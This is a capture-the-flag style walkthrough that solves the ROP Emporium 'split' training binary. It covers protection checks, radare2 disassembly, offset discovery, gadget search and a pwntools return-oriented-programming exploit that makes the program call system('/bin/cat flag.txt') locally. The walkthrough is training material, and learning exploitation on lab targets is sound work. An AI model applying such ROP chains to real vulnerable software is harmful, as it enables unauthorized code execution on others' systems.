PwnLand

Return Oriented Programming

ROP is a technique used to bypass the non-executable stack while using the available gadgets from the associated binaries i.e. opcodes ending with ret. See “tools”.

split - 64bit binary from ROP Emporium is used to demonstrate the ROP technqiue.

First off, we need to check the protections enabled on binary.

robin@oracle:~/ROP-Emporium$ gdb-gef -q split
Reading symbols from split...(no debugging symbols found)...done.
GEF for linux ready, type `gef' to start, `gef config' to configure
79 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6
[*] 1 command could not be loaded, run `gef missing` to know why.
gef➤  checksec
[+] checksec for '/home/robin/ROP-Emporium/split'
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial
gef  

It has NX enabled which means we ca’t use shellcode, we will use Return Oriented Programming technique to get a shell. Let’s reverse engineer it first:-

Using radare2 first:-

robin@oracle:~/ROP-Emporium$ r2 -AAAA split
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[0x00400650]> afl
0x00400000    2 64           fcn.rip
0x00400041    1 7            fcn.00400041
0x00400048    1 164          fcn.00400048
0x004005a0    3 26           sym._init
0x004005d0    1 6            sym.imp.puts
0x004005e0    1 6            sym.imp.system
0x004005f0    1 6            sym.imp.printf
0x00400600    1 6            sym.imp.memset
0x00400610    1 6            sym.imp.__libc_start_main
0x00400620    1 6            sym.imp.fgets
0x00400630    1 6            sym.imp.setvbuf
0x00400640    1 6            sub.__gmon_start___248_640
0x00400650    1 41           entry0
0x00400680    4 50   -> 41   sym.deregister_tm_clones
0x004006c0    3 53           sym.register_tm_clones
0x00400700    3 28           sym.__do_global_dtors_aux
0x00400720    4 38   -> 35   entry1.init
0x00400746    1 111          sym.main
0x004007b5    1 82           sym.pwnme
0x00400807    1 17           sym.usefulFunction
0x00400820    4 101          sym.__libc_csu_init
0x00400890    1 2            sym.__libc_csu_fini
0x00400894    1 9            sym._fini
[0x00400650]> pdf @sym.pwnme
/ (fcn) sym.pwnme 82
|   sym.pwnme ();
|           ; var int local_20h @ rbp-0x20
|              ; CALL XREF from 0x0040079f (sym.main)
|           0x004007b5      55             push rbp
|           0x004007b6      4889e5         mov rbp, rsp
|           0x004007b9      4883ec20       sub rsp, 0x20
|           0x004007bd      488d45e0       lea rax, qword [local_20h]
|           0x004007c1      ba20000000     mov edx, 0x20               ; 32 ; size_t n
|           0x004007c6      be00000000     mov esi, 0                  ; int c
|           0x004007cb      4889c7         mov rdi, rax                ; void *s
|           0x004007ce      e82dfeffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|           0x004007d3      bfd0084000     mov edi, str.Contriving_a_reason_to_ask_user_for_data... ; 0x4008d0 ; "Contriving a reason to ask user for data..." ; const char * s
|           0x004007d8      e8f3fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004007dd      bffc084000     mov edi, 0x4008fc           ; const char * format
|           0x004007e2      b800000000     mov eax, 0
|           0x004007e7      e804feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x004007ec      488b159d0820.  mov rdx, qword [obj.stdin]  ; [0x601090:8]=0 ; FILE *stream
|           0x004007f3      488d45e0       lea rax, qword [local_20h]
|           0x004007f7      be60000000     mov esi, 0x60               ; '`' ; 96 ; int size
|           0x004007fc      4889c7         mov rdi, rax                ; char *s
|           0x004007ff      e81cfeffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x00400804      90             nop
|           0x00400805      c9             leave
\           0x00400806      c3             ret
[0x00400650]> pdf @sym.usefulFunction
/ (fcn) sym.usefulFunction 17
|   sym.usefulFunction ();
|           0x00400807      55             push rbp
|           0x00400808      4889e5         mov rbp, rsp
|           0x0040080b      bfff084000     mov edi, str.bin_ls         ; 0x4008ff ; "/bin/ls" ; const char * string
|           0x00400810      e8cbfdffff     call sym.imp.system         ; int system(const char *string)
|           0x00400815      90             nop
|           0x00400816      5d             pop rbp
\           0x00400817      c3             ret
[0x00400650]> izzq~sh
0x11 10 9 .shstrtab
0x44 10 9 .gnu.hash
[0x00400650]> izzq~cat
0x601060 18 17 /bin/cat flag.txt
[0x00400650]> 

izzq~ is used to find the address of a specific string in that ELF.

As this is X86-64 bit binary, according to calling convention of x86-64 the arguments provided into the function as parameter is stored in register. The first argument is stored in rdi, I’d recommend reading on calling convention.

So, let’s find the buffer offset, shall we?

robin@oracle:~/ROP-Emporium$ gdb-gef -q split
Reading symbols from split...(no debugging symbols found)...done.
GEF for linux ready, type `gef' to start, `gef config' to configure
79 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6
[*] 1 command could not be loaded, run `gef missing` to know why.
gef➤  pattern create 100
[+] Generating a pattern of 100 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
gef➤  r
Starting program: /home/robin/ROP-Emporium/split 
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Program received signal SIGSEGV, Segmentation fault.


-- snip --


──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "split", stopped, reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400806 → pwnme()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400806 in pwnme ()
gef➤  pattern search faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala
[+] Searching 'faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala'
[+] Found at offset 40 (big-endian search) 
gef  

Ah, easier than manual find.

So, let’s find a gadget as we already know that /bin/cat flag.txt and the symbol system is present let’s find the pop rdi; ret; so the string would be provided to system for execution. Ropper to the rescue:-

robin@oracle:~/ROP-Emporium$ ropper --file split --search 'pop rdi'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: split
0x0000000000400883: pop rdi; ret; 

Now, our payload would be padding + pop_rdi + bin_cat + system, breaking it down:-

First padding offset to the stack pointer, now the gadget pop rdi; ret; as the /bin/cat flag.txt will be stored in rdi register we will just provide the system address and we are done.

Let’s craft the exploit:-

from pwn import *

p = process("./split")

payload = "A"*40  # padding 
payload += p64(0x400883) # pop_rdi
payload += p64(0x601060) # /bin/cat flag.txt
payload += p64(0x400810) # system

p.recvuntil(">") # This will recieve wait we reach this
p.sendline(payload) # Sending the payload afterwards as input
p.interactive()
robin@oracle:~/ROP-Emporium$ echo "We got it" > flag.txt
robin@oracle:~/ROP-Emporium$ python split_exploit.py 
[+] Starting local process './split': pid 12495
[*] Switching to interactive mode
 We got it
[*] Got EOF while reading in interactive
$ 
[*] Process './split' stopped with exit code -11 (SIGSEGV) (pid 12495)
[*] Got EOF while sending in interactive
robin@oracle:~/ROP-Emporium$ 

Poof, we got it.